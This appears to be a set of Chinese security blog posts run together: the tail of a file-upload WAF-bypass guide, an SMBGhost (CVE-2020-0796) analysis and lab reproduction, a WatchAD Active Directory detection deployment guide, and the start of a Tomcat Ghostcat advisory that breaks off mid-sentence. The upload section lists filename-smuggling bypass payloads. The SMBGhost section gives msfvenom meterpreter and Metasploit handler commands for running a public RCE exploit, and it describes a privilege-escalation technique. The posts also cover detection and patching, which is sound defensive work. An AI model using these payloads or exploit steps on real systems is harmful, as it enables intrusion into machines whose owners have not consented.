改成(Content-Disposition: \n): Content-Disposition: form-data; name="upfile"; filename="bk.jpg" 或者nam=\n: Content-Disposition: form-data; name= "upfile"; filename="bk.jpg" (26)特殊扩展名绕过 multipart协议中,文件名的形式为filename="bk.php”。但是Tomcat、PHP等容器解析协议时会做一些兼容,能正确解析 filename="bk.php”,filename=abc.php”, filename='abc.php’而WAF只按照协议标准去解析,无法解析文件名,但是后端容器能正确获得文件名,从而导致被绕过。 将Content-Disposition: form-data; name="upfile"; filename="bk.jpg.php" 改成(bk.jpg.\nphp): Content-Disposition: form-data; name="upfile"; filename="bk.jpg. php" 尝试长文件名: 将Content-Disposition: form-data; name="upfile"; filename="bk.jpg.php" 改成: Content-Disposition: form-data; name="upfile"; filename="bkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk.php" 文件名中插入特殊符号:分号 空格 单引号 将Content-Disposition: form-data; name="upfile"; filename="bk.jpg.php" 分别改成: Content-Disposition: form-data; name="upfile"; filename="ba;cklion.php" Content-Disposition: form-data; name="upfile"; filename="ba cklion.php" Content-Disposition: form-data; name="upfile"; filename="ba'cklion.php" (27)ASCII > 127的字符 将Content-Disposition: form-data; name="file_x"; filename="bk.asp; jpg" Content-Type: image/jpeg 将%00的ascii的20改成af即可 (28)程序与服务器之间的差异 将Content-Disposition: form-data; name="file_x"; filename="bk.jpg" 改为: Content-Disposition: form-data2222222; name="file_x"; filename=bk.jpg (29)利用协议解析不一致绕过 将Content-Disposition: form-data; name="file_x"; filename="bk.jpg" 改为: Content-Disposition: form-data; name="file"; filename="bk.jpg sf/shell.php #这里是回车换行 Content-Disposition: form-data; name="file"; filename='test3.jpg sf/shell.php #这里是回车换行 0x09 漏洞修复 服务器配置不当: 重新配置好服务器。服务器PUT方法配置不当可参见HTTP请求方法(PUT) 开源编辑器上传漏洞: 若新版编辑器已修复漏洞,请更新编辑器版本。 本地文件上传限制被绕过: 在服务器后端对上传的文件进行过滤。 文件解析漏洞导致文件执行: 文件解析漏洞的修复可参考文件上传。 设置文件上传的目录设置为不可执行 只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。 判断文件类型 在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。 使用随机数改写文件名和文件路径 文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。 单独设置文件服务器的域名 由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决
  5. 0x00 漏洞描述 漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。 0x01 漏洞响应版本 Windows 10 1903版本(用于基于x32的系统) Windows 10 1903版(用于基于x64的系统) Windows 10 1903版(用于基于ARM64的系统) Windows Server 1903版(服务器核心安装) Windows 10 1909版本(用于基于x32的系统) Windows 10版本1909(用于基于x64的系统) Windows 10 1909版(用于基于ARM64的系统) Windows Server版本1909(服务器核心安装) 0x02 漏洞分析 漏洞公告显示,SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。 1.根本原因 漏洞发生在srv2.sys中,由于SMB没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法.最终导致整数溢出。 2.初步分析 该错误是发生在srv2.sys SMB服务器驱动程序中的Srv2DecompressData函数中的整数溢出错误。这是该函数的简化版本,省略了不相关的细节: typedef struct _COMPRESSION_TRANSFORM_HEADER { ULONG ProtocolId; ULONG OriginalCompressedSegmentSize; USHORT CompressionAlgorithm; USHORT Flags; ULONG Offset; } COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER; typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER; NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; } ULONG FinalCompressedSize = 0; NTSTATUS Status = SmbCompressionDecompress( Header->CompressionAlgorithm, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset, (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset), (PUCHAR)Alloc->UserBuffer + Header->Offset, Header->OriginalCompressedSegmentSize, &FinalCompressedSize); if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; } if (Header->Offset > 0) { memcpy( Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); } Srv2ReplaceReceiveBuffer(some_session_handle, Alloc); return STATUS_SUCCESS; } 该Srv2DecompressData函数接收客户端发送的压缩消息,分配所需的内存量,并解压缩数据。然后,如果Offset字段不为零,它会将放置在压缩数据之前的数据复制到分配的缓冲区的开头。 如果仔细观察,我们会发现第20行和第31行可能导致某些输入的整数溢出。例如,大多数在bug发布后不久出现并导致系统崩溃的poc都使用0xffffff值作为Offset字段。使用该值0xffffff会在第20行触发整数溢出,因此分配的字节更少。 稍后,它会在第31行触发额外的整数溢出。崩溃是由于在第30行中计算出的远离接收消息的地址处的内存访问造成的。如果代码在第31行验证了计算结果,那么它将很早退出,因为缓冲区长度恰好是负数且无法表示,这也使得第30行的地址本身也无效。 3.选择溢出内容 只有两个相关字段可以控制以导致整数溢出的字段:OriginalCompressedSegmentSize和Offset,因此没有太多选择。在尝试了几种组合之后,下面的组合吸引了我们:如果我们发送一个合法的偏移值和一个巨大的原始压缩段大小值呢?让我们回顾一下代码将要执行的三个步骤: 分配:由于整数溢出,分配的字节数将小于两个字段的总和。 解压缩:解压缩将收到一个非常大的OriginalCompressedSegmentSize值,将目标缓冲区视为具有无限大小。所有其他参数均不受影响,因此它将按预期执行。 复制:如果要执行,则复制将按预期执行。 不管是否要执行复制步骤,它看起来已经很有趣了——我们可以在解压缩阶段触发越界写入,因为我们设法分配了比“分配”阶段所需的字节少的字节。 如您所见,使用这种技术,我们可以触发任何大小和内容的溢出,这是一个很好的开始。但是什么位于我们的缓冲区之外?让我们找出答案! 4.深入分析SrvNetAllocateBuffer 为了回答这个问题,我们需要查看分配函数,在我们的例子中是SrvNetAllocateBuffer。下面是函数的有趣部分: PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ... if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) { if (AllocSize > 0x1000100) { return NULL; } Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize); } else { int LookasideListIndex = 0; if (AllocSize > 0x1100) { LookasideListIndex = /* some calculation based on AllocSize */; } SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex]; Result = /* fetch result from list */; } // Initialize some Result fields... return Result; } 我们可以看到分配函数根据所需的字节数执行不同的操作。大型分配(大于约16MB)会导致执行失败。中型分配(大于约1 MB)使用SrvNetAllocateBufferFromPool函数进行分配。小型分配(其余的)使用lookaside列表进行优化。 注意:还有一个SrvDisableNetBufferLookAsideList标志会影响函数的功能,但是它是由一个未记录的注册表设置来设置的,并且默认情况下处于禁用状态,因此并不是很有趣。 Lookaside列表用于有效地为驱动程序保留一组可重用的、固定大小的缓冲区。lookaside列表的功能之一是定义一个自定义的分配/释放函数,用于管理缓冲区。查看SrvNetBufferLookasides数组的引用,我们发现它是在SrvNetCreateBufferLookasides函数中初始化的,通过查看它,我们了解到以下内容: 自定义分配函数定义为SrvNetBufferLookasideAllocate,它只调用SrvNetAllocateBufferFromPool 9个lookaside列表按以下大小创建,我们使用Python快速计算: >>> [hex((1 << (i + 12)) + 256) for i in range(9)] [‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’] 这与我们的发现相匹配,即分配大于0x100100字节的分配时不使用lookaside列表。 结论是每个分配请求最终都出现在SrvNetAllocateBufferFromPool函数中,所以让我们来分析它。 6.SrvNetAllocateBufferFromPool和分配的缓冲区布局 SrvNetAllocateBufferFromPool函数使用ExAllocatePoolWithTag函数在NonPagedPoolNx池中分配一个缓冲区,然后用数据填充一些结构。分配的缓冲区的布局如下: 在我们的研究范围内,此布局的唯一相关部分是用户缓冲区和分配头结构。我们可以马上看到,通过溢出用户缓冲区,我们最终会重写ALLOCATION_HEADER结构。看起来很方便。 7.重写分配头结构 此时,我们的第一个想法是,由SmbCompressionDecompress调用之后的检查: if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; } SrvNetFreeBuffer将被调用,并且该函数将失败,因为我们将其设计OriginalCompressedSegmentSize为一个很大的数字,并且FinalCompressedSize将成为一个较小的数字,代表实际的解压缩字节数。因此,我们分析了该SrvNetFreeBuffer函数,成功地替换了一个幻数的分配指针,然后等待free函数尝试对其进行释放,以期稍后将其用于free-after-free或类似用途。但是令我们惊讶的是,该memcpy函数崩溃了。这使我们感到高兴,因为我们根本没有想到哪里,但我们必须检查为什么会这样。可以在SmbCompressionDecompress函数的实现中找到说明: NTSTATUS SmbCompressionDecompress( USHORT CompressionAlgorithm, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalCompressedSize) { // ... NTSTATUS Status = RtlDecompressBufferEx2( ..., FinalUncompressedSize, ...); if (Status >= 0) { *FinalCompressedSize = CompressedBufferSize; } // ... return Status; } 基本上,如果解压成功,FinalCompressedSize将更新为保存CompressedBufferSize的值,它是缓冲区的大小。这种对FinalCompressedSize返回值的故意更新对我们来说似乎非常可疑,因为这个小细节,加上分配的缓冲区布局,允许非常方便地利用这个bug。 由于执行继续到复制原始数据的阶段,让我们再次检查调用: memcpy( Alloc-> UserBuffer, (PUCHAR)title+ sizeof(COMPRESSION_TRANSFORM_HEADER), Header-> Offset); 从ALLOCATION_HEADER结构中读取目标地址,我们可以覆盖该结构。缓冲区的内容和大小也由我们控制。 8.本地权限提升 既然我们有了写在哪里开发,我们能用它做什么?很明显我们可以让系统崩溃。我们可能能够触发远程代码执行,但我们还没有找到这样做的方法。如果我们在本地主机上使用此漏洞并泄漏其他信息,我们可以将其用于本地权限提升,因为已经通过几种技术证明了这一点 我们尝试的第一种技术是Morten Schenk在其《Black Hat USA 2017》演讲中提出的。该技术涉及重写win32的.data部分中的函数指针数据库系统驱动程序,然后从用户模式调用相应的函数以获得代码执行。j00ru写了一篇关于在WCTF 2018中使用此技术的精彩文章,并提供了他的漏洞源代码。我们针对write what where漏洞进行了调整,但发现它不起作用,因为处理SMB消息的线程不是GUI线程。因此,win32数据库系统没有映射,而且技术也不相关(除非有办法使它成为一个GUI线程,这是我们没有研究过的)。 我们最终在2012年的黑帽演示中使用了cesarcer所介绍的著名技术—轻松本地Windows内核开发。该技术是通过使用NtQuerySystemInformation(SystemHandleInformation)API泄漏当前进程令牌地址,然后重写该地址,授予当前进程令牌权限,这些权限可用于权限提升。Bryan Alexander(dronesec)和Stephen Breen(breenmachine)(2017)在EoP研究中滥用代理权限,展示了使用各种令牌特权提升特权的几种方法。 我们基于Alexandre Beaulieu在利用任意写操作提升权限writeup时共享的代码进行攻击。在修改进程的令牌特权后,我们通过将DLL注入winlogon.exe. DLL的全部目的是启动命令提示符. 我们的完整本地特权升级证明可在此处找到,仅可用于研究/防御目的。 0x03 CVE-2020-0796 RCE漏洞复现 1.环境准备 攻击机:kal2019 ip:192.168.1.101 目标靶机:windows10 1903 x64 (专业版,企业版也可以) ip:192.168.1.103 目标靶机的下载地址: ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/ 2.环境要求: (1).该poc不太稳定,需要多次测试(猜测是占用监听端口或者网络问题),有可能出现蓝屏现象 (2).如果POC失败,可能是目标系统开启系统自带的defender拦截了 (3).测试的时候,最好关闭防火墙和杀软,让445端口开放 3.复现步骤 (1).kali下克隆下载利用poc root@kali2019:/opt# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git (2).切换到利用poc目录下 root@kali2019:/opt# cd SMBGhost_RCE_PoC/ (3).该POC需要用python3环境执行 (4).可以看到目标靶机的IP地址以及系统版本 (5).在kali下生成python版本的反弹shellcode root@kali2019:~# msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py (6).可以看到生成的shellcode root@kali2019:~# cat exp.py (7).将生成的exp.py代码中的变量buf全部替换成变量USER_PAYLOAD,然后将所有代码粘贴覆盖下面的代码处: (8).在kali上启动MSF,并如下设置 msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp #设置反弹模式 msf5 exploit(multi/handler) > set rhost 192.168.1.103 #设置目标靶机IP地址 msf5 exploit(multi/handler) > set lport 2333 #设置监听端口 msf5 exploit(multi/handler) > exploit (9).执行利用poc,可以看到成功执行,在按任意键,最好回车键即可 python3 exploit.py -ip 192.168.1.103 (10).在msf可以看到成功反弹出目标靶机的shell 0x04 CVE-2020-0796 本地提权漏洞复现 1.环境要求,需要windows 10 1909 x64 下载地址:ed2k://|file|cn_windows_10_business_editions_version_1909_x64_dvd_0ca83907.iso|5275090944|9BCD5FA6C8009E4D0260E4B23008BD47|/ 提权POC:https://github.com/danigargu/CVE-2020-0796/releases 2.这里我新建了一个普通权限的账号,可以看到权限很小 3.在普通账号上执行cve-2020-0796-local.exe,可以看到成功提权到system权限 0x05 漏洞检测 1.奇安信批量检测工具: http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip 2.sh脚本检测: https://gist.githubusercontent.com/nikallass/40f3215e6294e94cde78ca60dbe07394/raw/84d803de937f5b6810df4441cc84f0fa63991e2e/check-smb-v3.11.sh 3.python脚本检测: https://github.com/ollypwn/SMBGhost 0x06 漏洞修复 1. 更新,完成补丁的安装。 操作步骤:设置->更新和安全->Windows更新,点击“检查更新”。 2.微软给出了临时的应对办法: 运行regedit.exe,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。 3.对SMB通信445端口进行封禁。 4.补丁链接 https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB4551762 0x07 参考连接 https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html https://github.com/danigargu/CVE-2020-0796 http://dl.qianxin.com/skylar6 https://github.com/ollypwn/SMBGhost https://github.com/chompie1337/SMBGhost_RCE_PoC https://github.com/danigargu/CVE-2020-0796 https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/
  6. 一、前言介绍 WatchAD收集所有域控上的事件日志和kerberos流量,通过特征匹配、Kerberos协议分析、历史行为、敏感操作和蜜罐账户等方式来检测各种已知与未知威胁,功能覆盖了大部分目前的常见内网域渗透手法。该项目在360内部上线运行半年有余,发现多起威胁活动,取得了较好的效果。现决定开源系统中基于事件日志的检测部分。 目前支持的具体检测功能如下: 信息探测:使用SAMR查询敏感用户组、使用SAMR查询敏感用户、蜜罐账户的活动、PsLoggedOn信息收集 凭证盗取:Kerberoasting (流量)、AS-REP Roasting、远程Dump域控密码 横向移动:账户爆破、显式凭据远程登录、目标域控的远程代码执行、未知文件共享名、Kerberos票据加密方式降级(流量)、异常的Kerberos票据请求(流量) 权限提升:ACL修改、MS17-010攻击检测、新增组策略监控、NTLM 中继检测、基于资源的约束委派权限授予检测、攻击打印机服务 SpoolSample、未知权限提升、MS14-068攻击检测(流量)、Kerberos约束委派滥用(流量) 权限维持:AdminSDHolder对象修改、DCShadow攻击检测、DSRM密码重置、组策略委派权限授予检测、Kerberos约束委派权限授予检测、敏感用户组修改、域控新增系统服务、域控新增计划任务、SIDHistory属性修改、万能钥匙-主动检测、万能钥匙-被动检测(流量)、黄金票据(流量) 防御绕过:事件日志清空、事件日志服务被关闭 项目架构简图: 二、部署服务器端watachAD 本次在测试环境中部署,准备了一台centos7 部署服务器端watchAD,另一台centos7部署前端watchAD-web。 1.更新centos7系统(前提已添加yum源,国内建议用阿里云源) [root@guest yum.repos.d]# yum -y update 2.安装net-tools网络工具 [root@guest yum.repos.d]# yum install net-tools 3.安装git命令工具 [root@guest opt]# yum install git -y 4.从github下载watachAD服务器端源码 [root@guest opt]# git clone https://github.com/0Kee-Team/WatchAD.git 5.进入WatchAD目录 [root@guest opt]# cd WatchAD/ 6.由于该项目需要python3环境运行,需要安装python3以及pip3 [root@guest WatchAD]# yum install -y python36 #安装python3.6 [root@guest WatchAD]# yum -y install epel-release #添加源 [root@guest WatchAD]# yum install -y python36-setuptools #安装python tools插件 [root@guest WatchAD]# yum install -y python36-pip #安装pip3 8.安装项目所需要的python包 [root@guest WatchAD]# pip3 install -r requirements.txt 9.安装docker [root@guest WatchAD]# yum -y install docker #使用yum安装dokcer systemctl start docker.service #启动dokcer systemctl enable docker.service #设置为开机自启动 10.安装docker-compose [root@guest WatchAD]# curl -L "https://github.com/docker/compose/releases/download/1.23.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose # 下载docker-compose [root@guest WatchAD]#chmod +x /usr/local/bin/docker-compose # 添加可执行权限 [root@guest WatchAD]#docker-compose --versio # 查看docker-compose版本 11.本地单机一建安全watchAD测试环境 WatchAD需要的数据存储依赖较多,这里推荐使用项目中已经配置好的Docker一键启动脚本.(测试环境可以使用dokcer一建安装,正式环境需要每台服务单独安装) [root@guest WatchAD]#docker-compose up #将在本地启动 rabbitmq、logstash、elasticsearch、redis、mongo服务,测试环境最好修改下dokcer-comse的docker-compose.yaml配置文件中所涉及到默认的用户名和密码 #生产环境部署:WatchAD依赖了rabbitmq、logstash、elasticsearch、redis和mongo,如果你想使用现有的存储服务和MQ等,请直接修改 {project_home}/settings/database_config.py 配置信息,数据管道Logstash的配置可参考 {project_home}/settings/logstash/logstash.conf ,实际的配置需要根据你的架构环境更改。 注意: 1.执行以上操作时,需要先打开一命令窗口,运行docker-compose up,把基础数据库环境运行起来,好观察输入日志。如果后期服务稳定了,可以执行docker-compose up -d后台运行。 2.使用docker启动的环境只能用于临时测试,单机可能无法承担较大的数据量。如果需要线上部署,请修改配置{project_home}/settings/database_config.py将各个服务地址替换为你的实际内网服务地址。 三、部署客服端watchAD agnet 1.客服端开启策略审核(域控制器上配置) 我们的分析基础是所有域控的所有事件日志,所以首先需要打开域控上的安全审核选项,让域控记录所有类型的事件日志。这里以 windows server 2008为例,在 本地安全策略 -> 安全设置 -> 本地策略 -> 审核策略,打开所有审核选项: 2.安装agnet winlogbeat 首先,打开我们提供的配置文件 {project_home}/settings/winlogbeat/winlogbeat.yml ,修改output.logstash 的 hosts字段值为你所安装的LogstashIP和端口(默认5044) [root@guest winlogbeat]# vi /opt/WatchAD/settings/winlogbeat/winlogbeat.yml #修改hosts字段中的ip地址 winlogbeat.event_logs: - name: Security ignore_older: 1h output.logstash: hosts: ["本地IP地址:5044"] 3.安装和配置winlogbeat(在域控主机上安装) 前往下载对应版本的winlogbeat,建议版本为6.2,其它版本的字段可能有变动,存在不兼容的可能性。WatchAD要求下载6.2版本,其下载地址为:https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-6.2.0-windows-x86_64.zip, 解压之后,使用刚才修改的配置文件 winlogbeat.yml 替换掉原本默认的配置文件 winlogbeat.yml. 接下来按照官网的教程正常安装即可(https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation.html)。 (1).把下载的winlogbeat 6.2压缩包,解压到中C:\Program Files (2).将winlogbeat-<version>目录重命名为Winlogbeat (3).打开安装目录下Winlogbeat目录下的winlogbeat.yml文件,把内容都删除了,然后复制测试服务器上项目watchAD下winlogbat.yml文件覆盖该文件目录下。 (4).以管理员身份打开PowerShell提示符(右键单击PowerShell图标,然后选择“以管理员身份运行”) (5).在PowerShell提示符下,运行以下命令以安装服务 PS C:\Users\Administrator> cd "C:\Program Files\Winlogbeat" PS C:\Program Files\Winlogbeat> .\install-service-winlogbeat.ps1 (6).如果在系统上禁用了脚本执行,则需要为当前会话设置执行策略以允许脚本运行。例如: set-executionpolicy remotesigned 注意:事件日志并不会在各个域控之间同步,所以我们必须收集所有域控的所有事件日志,否则会产生误报和漏报。 四、初始化watchAD引擎 1.wachchAD的帮助命令: Usage: WatchAD.py <options> [settings] Options: -h, --help 显示帮助信息 --install 执行WatchAD初始化安装,在次之前请确保已完整环境安装和配置。 -d DOMAIN, --domain=DOMAIN A FQDN domain name of detection.AD服务器的域名 -s SERVER, --ldap-server=SERVER Server address for LDAP search. e.g: dc01.corp.com,服务器地址,如果域名解析了,可以域名,其实就是AD的全称主机名 -u USERNAME, --domain-user=USERNAME Username for LDAP search. e.g: CORP\peter,连接AD的账户,格式:域名\\账户或者 域名\账号 -p PASSWORD, --domain-passwd=PASSWORD Password for LDAP search.管理员密码 --check 检查各个数据库连接状态、消息队列状态 --start 启动检测引擎 --restart 重启检测引擎 --stop 停止引擎 (删除现有消息队列,防止数据量过大造成积压) --status 查看当前引擎状态 2.进行初始化安装 python3 WatchAD.py --install -d bks.com -s dc.bks.com -u bks\administrator -p ********* 正常初始化安装成功WatchAD,需要满足以下要求: (1).所有存储相关的依赖都正确安装和配置 (2).能够访问安装时指定的LDAP Server (3).supervisor正确安装可使用 (4).正确安装python3.6,且存在 /usr/bin/python3 软连接 3.启动watchAD python3 WatchAD.py --start 完成之后,会使用supervisor对python进程进行托管,WatchAD的命令行只是对supervisor的命令进行了一个简单封装,引擎的启动关闭本质上是supervisor任务的启动关闭。 五、部署Web监控端服务WatchAD-web 1.下载WatchAD-Web源码 [root@guest opt]# git clone https://github.com/0Kee-Team/WatchAD-Web.git 2.修改配置 修改连接数据库的配置:修改 WatchAD-web/Server/config/database_config.py文件中的数据库配置与WatchAD一致; 修改前端页面配置:把WatchAD-Web/frontend/.env.production`和`WatchAD-Web/frontend/.env.development此文件中的127.0.0.1改为WatchAD-Web所在服务器的IP。我的WatchAD和WatchAD-Web搭建在一个服务器了,所以IP一样。 3.进行编译 进到下载WatchAD-Web目录,执行:docker-compose build,如果上一步的配置有修改或者代码有变动,需要重新执行此命令,下一步的docker-compose up才会对其修改生效 4.进行安装 执行命令: docker-compose up -d 启动后,就可以访问WatchAD-Web前端页面了,地址:http://服务器ip/activity_timeline.html 六、自定义修改 1.项目结构说明 WatchAD 根目录 ├─libs 引用的部分外部库 ├─models 封装的数据对象 ├─modules 主模块目录 │ ├─alert 告警处理的相关代码 │ ├─detect 威胁检测代码 │ │ ├─event_log 基于事件日志的检测代码 │ │ │ ├─ ... ... 分类的检测代码 │ │ │ └─record 用于记录域内实体的各种活动,不告警 │ │ └─traffic_kerberos 基于kerberos流量的检测代码(本次不开源,移除) │ └─record_handle 分析时用到的其它信息操作文件 ├─scripts 安装、定时任务等用到的脚本 ├─settings 各种配置文件,获取配置信息的操作文件 ├─tools 工具函数 ├─start.py 检测引擎启动入口代码 ├─WatchAD.py 项目主程序入口代码,可进行安装、启动、停止等操作 └─supervisor.conf supervisor的配置文件,WatchAD使用它托管进程 2.自定义开发检测模块 WatchAD支持自定义编写添加检测模块,下面用 敏感用户组修改 作为示例来讲解如何编写自定义模块。 (1).新建文件 在目录 {project_home}/modules/detect/event_log下,按照威胁分类为了六个目录,record目录是用于记录域内实体的相关活动,和告警无关,暂时不用关注。 我们根据当前威胁类别,敏感用户组修改一般用于权限维持添加控制的账户,所以我们在 {project_home}/modules/detect/event_log/persistence目录下新建文件 ModifySensitiveGroup.py。 (2). 创建检测类 新建了文件之后,首先我们定义一下当前模块需要分析的事件日志ID列表、威胁类别代号、标题 和 简要描述模板。通过测试环境本地复现以及查阅相关文档 ,我们知道往安全组中添加用户会触发 4728、4732、4756三种事件,分别对应不同的范围。威胁类别代号和现有的不重复,且按照分类来定义,比如权限维持是以5开头。简要描述模板用于大致说明威胁活动的情况,其中用[]包裹起来的字段名对应后面的告警内容字段,在Web平台显示时会自动替换。 EVENT_ID = [4728, 4732, 4756] ALERT_CODE = "506" TITLE = "Modification of sensitive groups" DESC_TEMPLATE = "来自于 [source_ip]([source_workstation]) 使用身份 [source_user_name] 将目标用户 [target_user_name] 添加到了敏感组 [group_name] 中。" 接下来引入DetectBase类,并创建一个和文件名相同的类,继承DetectBase,实现 _generate_alert_doc 和 _get_level 方法。 from settings.config import main_config from models.Log import Log from modules.detect.DetectBase import DetectBase, HIGH_LEVEL from tools.common.common import get_cn_from_dn EVENT_ID = [4728, 4732, 4756] ALERT_CODE = "506" TITLE = "Modification of sensitive groups" DESC_TEMPLATE = "来自于 [source_ip]([source_workstation]) 使用身份 [source_user_name] 将目标用户 [target_user_name] 添加到了敏感组 [group_name] 中。" class ModifySensitiveGroup(DetectBase): def __init__(self): super().__init__(code=ALERT_CODE, title=TITLE, desc=DESC_TEMPLATE) def run(self, log: Log): # 初始化检测模块,必需 self.init(log=log) group_name = log.target_info.user_name # 动态配置的敏感组列表 sensitive_groups = list(map(lambda x: x["name"], main_config.sensitive_groups)) # 如果修改的组存在于敏感组中,则告警 if group_name in sensitive_groups: return self._generate_alert_doc() def _generate_alert_doc(self, **kwargs) -> dict: # 通过登录名和登录ID查找登录时的IP source_ip = self._get_source_ip_by_logon_id(self.log.subject_info.logon_id, self.log.subject_info.full_user_name) form_data = { # 建议必填字段内容 "source_ip": source_ip, "source_workstation": self._get_workstation_by_source_ip(source_ip), "source_user_name": self.log.subject_info.user_name, "group_name": self.log.target_info.user_name, "target_user_name": get_cn_from_dn(self.log.event_data["MemberName"]), # 以下字段内容可选 ... ... } doc = self._get_base_doc( level=self._get_level(), # 根据威胁活动代号和来源用户名唯一确定一个告警 unique_id=self._get_unique_id(self.code, self.log.subject_info.user_name), form_data=form_data ) return doc def _get_level(self) -> str: # 返回危害等级高 return HIGH_LEVE 简单解释一下上面的代码: models.Log :这是引擎简单封装的日志对象,将字典对象变成对象属性来访问,减少拼写错误,具体可查看Log类的代码内容。 _get_level:顾名思义是返回当前威胁活动的危害等级,_generate_alert_doc 是返回告警内容的文档。 _generate_alert_doc的内容比较固定: form_data :用于自定义保存当前威胁活动的相关信息,比如 来源IP(source_ip),来源主机名(source_workstation),来源用户名(source_user_name),目标用户名(target_user_name)等等,根据每种威胁活动会有区别,但表达相同含义的字段名必须一致,比如你不能填来源用户名的字段名为:source_user。但有一些内容是必填的,可以通过以下思路去决定填写哪些字段:”哪个来源IP和主机,谁,做了什么,目标是谁。“,具体可参考其它检测模块的写法。 unique_id: 用于合并重复的告警,一般是威胁活动代号 + 来源用户名或来源IP level: 危害等级 run: 运行的主入口,参数log是当前需要分析日志,因为我们指定了 4728, 4732, 4756三种日志,所以这里出现的日志也只会有这三种类型。 self.init(log=log):这行代码必须在该函数最开始的地方,用于初始化当前的检测模块环境,每一个新的日志,都会重新运行一遍run函数。 返回值:如果没有任何异常,返回空即可。如果发现了威胁,返回 self._generate_alert_doc()告警文档,引擎会自动执行接下来的入库合并等操作。
  7. 一、漏洞描述 Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0). 二、危险等级 高危 三、漏洞危害 攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害 四、影响范围 Apache Tomcat 9.x < 9.0.31 Apache Tomcat 8.x < 8.5.51 Apache Tomcat 7.x < 7.0.100 Apache Tomcat 6.x 五、前提条件 对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。 六、漏洞原理 Tomcat 配置了两个Connecto,它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat 